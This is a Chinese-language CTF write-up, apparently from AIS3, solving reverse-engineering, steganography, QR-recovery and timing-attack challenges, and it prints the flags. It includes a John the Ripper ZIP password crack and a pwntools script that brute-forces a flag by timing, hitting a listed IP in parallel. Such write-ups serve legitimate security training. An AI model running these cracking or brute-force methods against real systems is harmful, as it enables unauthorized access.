[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: rose.pyc
[+] Found 258 files in PYZ archive
[+] Successfully extracted pyinstaller archive: La_vie_en_rose.exe

這時候就可以找到我們最主要想攻擊的 rose.pyc

問題來了-pyc 基本上是 Python 都已經編譯成 bytecode 了,然後我不論試 uncompyle6, decompyle3, pycdc 都無法推回到原來的 Python 檔。我相信原作者的用意是要我們去修 rose.pyc 的 byte 把有問題的修正回正確的。

但我當時怎麼試都沒辦法,所以我決定做了件很蠢的事-重頭依 pycdas 所建立出來的 Python disassembly bytecode 推回去 Python 檔。這個部分起碼花了我好幾個小時,一直試 Code 然後呼叫 python dis 比較 bytecode還有翻官方 bytecode 技術文件

於是乎,我最後推出了最關鍵的幾行 code:

import dis
from itertools import chain, product

def run():
    chars = ('a','w', 's', 'e', 'd', 'f', 't', 'g', 'y', 'h', 'u','j', 'k', 'o', 'l', 'p', ';', "'", '[', ']', ' ')
    constraints = [216,219,222,219,216,219,222,219,216,219,222,202,150,167,219,219,216,219,222,219,216,219,222,219,216,219,222,202,150,167,219,219,216,219,222,219,216,219,222,219,216,219,222,202,150,167,219,219,216,219,222,217,212,210,208,210,212,210,208,136,140,216,219,222,219,216,219,222,219,216,219,222,202,150,167,219,219,216,219,222,219,216,219,222,219,216,219,222,217,217,219,167,150,182,199,216,219,222,219,216,212,208,208,208,149,149,210,217,219,167,150,182,199,216,219,222,219,216,211,206,0,-3,0,3,0,-3,0,3,0,-3,0,20,32,-49,-3,3,0,-3,0,3,0,-3,0,3,0,-3,0,20,32,-49,-3,3,0,-3,0,3,0,-3,0,3,0,-3,0,20,32,-49,-3,3,0,-3,0,5,0,2,0,-2,0,2,0,72,-76,0,-3,0,3,0,-3,0,3,0,-3,0,20,32,-49,-3,3,0,-3,0,3,0,-3,0,3,0,-3,0,5,-5,3,49,-32,0,-17,0,-3,0,3,0,4,0,0,0,59,-59,-2,-5,3,49,-32,0,-17,0,-3,0,3,0,5,0]
    secret = [62,9,11,79,0,5,4,10,76,30,0,28,62,72,76,9,5,0,3,28,76,1,22,79,8,30,10,14,54,72,102,46,2,8,79,13,30,5,1,8,31,76,2,10,123,79,3,79,24,4,10,79,26,6,9,11,15,74,17,7,85,76,30,10,28,24,102,56,7,5,24,10,79,50,72,76,12,3,0,11,79,13,2,11,79,13,0,24,14,19,28,76,66,62,58,30,2,6,1,11,102,42,29,26,12,72,6,15,11,76,89,34,123,13,76,29,0,21,13,11,71,24,9,28,27,102,46,3,14,15,7,79,27,51,94,76,13,9,13,28,27,76,8,10,28,15,9,1,11,40,27,10,29,3,1,79,28,4,13,11,0,27,31,101,54,62,87,0,0,27,76,13,10,11,31,28,17,74,8,29,26,78,31,102,40,0,0,8,101,14,2,8,79,45,15,108,76,9,76,0,79,14,76,11,79,6,76,31,79,46,74,38,76,104,123,104,76,23,27,7,93,31,55,14,4,92,74,55,24,10,8,100,55,50,7,95,48,29,3,31,84,20,51,10,94,3,0,31,48,27,13,93,24,14,53,70]
    notes = input()
    print(notes)
    result = []
    notes = list(map(ord, notes))
    for i in range(len(notes) -1):
        result.append(notes[i] + notes[i+1])
    for i in range(len(notes) -1):
        result.append(notes[i] - notes[i+1])
    if (result == constraints):
        flag = ''.join(map(chr,[secret[i] ^ notes[i % len(notes)] for i in range(len(secret))]))
        print(flag)

#dis.dis(run)
run()

我後來又卡了好幾個小時;我第一次沒有看出來這是 Fibonacci 數列。邏輯有時候頗爛然後對數字沒什麼感覺。總之,最後是有資科系同學剛好在我身旁看到推了我一把才看懂。最後推出來所有的按鍵應該是 lloolloolloo[;lolloolloolloo[;lolloolloolloo[;lolloojjhhjjhh lloolloolloo[;lolloolloolloojol;[[lloollhhhh-hjol;[[lloollgg. 最後播完噴 Flag。

Flag: AIS3{th1s_fl4g_red_lik3_ros3s_f1lls_ta1wan}

Misc

💤 Piquero (100 pt.)

這題就很無腦的照著點字透過像是 decode.fr 慢慢解。沒有留 Flag。

🐥 Karuego (100 pt.)

這種只有圖片的題目不外乎是藏在 EXIF 不然就是藏在這張照片的某個區段,所以我們先用 binwalk 檢查。

❯ binwalk Karuego_0d9f4a9262326e0150272debfd4418aaa600ffe4.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2880 x 1492, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
2059568       0x1F6D30        Zip archive data, at least v1.0 to extract, name: files/
2059632       0x1F6D70        Zip archive data, encrypted at least v2.0 to extract, compressed size: 113020, uncompressed size: 113110, name: files/3a66fa5887bcb740438f1fb49f78569cb56e9233_hq.jpg
2172779       0x21276B        Zip archive data, encrypted at least v2.0 to extract, compressed size: 1087747, uncompressed size: 1092860, name: files/Demon.png
3260899       0x31C1E3        End of Zip archive, footer length: 22

看起來的確是有藏東西,我們用 -e 拉出來看看吧,最後我們發現裡面有一個ZIP檔。

很可惜的,沒那麼簡單。

這時候就得搬出 John the Ripper 囉!John the Ripper中的 zip2john 可以幫助我們撈出這個 ZIP file 的所有 Hash,接著就可以透過 john 來進行 dictionary attack。

❯ zip2john.exe .\1F6D30.zip > out.hash

我們撈出 Hash 之後就可以塞給 john 幫我們做事了!

❯ john.exe out.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 4 candidates buffered for the current salt, minimum 24 needed for performance.
Proceeding with wordlist:/run/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
lafire           (1F6D30.zip)
1g 0:00:00:14 DONE 3/3 (2020-06-20 01:48) 0.06757g/s 6074Kp/s 6074Kc/s 6074KC/s 2tzbr1..lirono
Use the "--show" option to display all of the cracked passwords reliably
Session completed

出來之後我們就知道這個 zip 的密碼是 lafire,這時就可以去開 Flag 了。

🌱 Soy (139 pt.)

這題是 QR Code recovery,最近大家似乎都很喜歡考這題。很可惜的,QRazyBox 不是很喜歡這種被蓋掉重要部份的 QR Code。

這時候就得人工介入了,我們依部份黑點可以隱約看出哪部分有可能是黑的或白的。我們可以透過 Brightness & Contrast 調整幫助 QRazyBox 辨識。

接著我們在人工把 Position 部分跟 Finder 加回去。

這時候丟進 QRazyBox 就好了。

接著我們可以強制要求 QRazyBox 把讀得出來的東西拉出來。

QR version : 2 (25x25)
Error correction level : L
Mask pattern : 0
Number of missing bytes (erasures) : 0 bytes (0.00%)
Data blocks :
["01000010","00000100","00010100","10010101","00110011","00110111","10110100","10000011","00000111","01110101","11110110","00110011","01000110","11100101","11110111","10010011","00000111","01010101","11110110","01100011","00010110","11100110","01000101","11110110","11010110","01010011","11110010","00010011","11110010","00010011","11110010","00010010","00010110","11010000","00101111","11010001","11110100","11011010","10001110","10110011","11010101","00100100","11011101","00110011"]
Final data bits :
01000010000001000001010010010101001100110011011110110100100000110000011101110101111101100011001101000110111001011111011110010011000001110101010111110110011000110001011011100110010001011111011011010110010100111111001000010011111100100001001111110010000100100001011011010000
[0100] [00100000] [0100000101001001001010010100110010011001101101111011010010010000010011000001101110111010010111110110110001100100110100011011011100100101111101101111001001001100000110111010101001011111011011001100010011000101101101110011011001000100101111101101101101011011001010010011111100100100001001001111110010010000100100111111001001000010010010000101101101101000]
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 32
Decoded data : AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!m
Final Decoded string : AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!m

這時我們就可以猜出Flag了。

Flag: AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

👑 Saburo (359 pt.)

這題純粹用 pwntools 一直暴力戳對方伺服器,開了一堆 Pool 狂戳。

from pwn import remote
from string import printable
from multiprocessing import Pool, Array, Manager
from traceback import print_exception

def handle_error(e):
    print_exception(type(e), e, e.__traceback__)

def get_range(flag, index):
    Min = float("inf")
    for _ in range(50):
        with remote("60.250.197.227", 11001) as r:
            r.sendline(flag.encode())
            rep = r.recvline().decode()
            if "lose" in rep:
                sec = int(rep.split(' ')[5])
                Min = min(Min, sec)
            else:
                r.interactive()
    cur_min[index] = Min

doc = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?_{}"
ans = "AIS3{A1r1ght_U_4r3_my_3n3"
cur_min = Manager().list(list(map(lambda _: 0, range(len(doc)))))

while True:
    p = Pool(processes=16, maxtasksperchild=8)
    for i in range(len(doc)):
        p.apply_async(get_range, args=(ans+doc[i], i), error_callback=handle_error)
    p.close()
    p.join()
    cur_min = list(cur_min)
    ans += doc[cur_min.index(max(cur_min))]
    print(f"\n\n{ans}\n\n")
    with open("./Saburo_ans2", mode="a") as f:
        f.write(f"{ans}\n")
    
    cur_min = Manager().list(list(map(lambda _: 0, range(len(doc)))))

我戳到 AIS3{A1r1ght_U_4r3_my_3n3 這裡大概就知道剩下應該是 enemies,所以剛好就猜中了。

Flag: AIS3{A1r1ght_U_4r3_my_3n3ies}

Leave a comment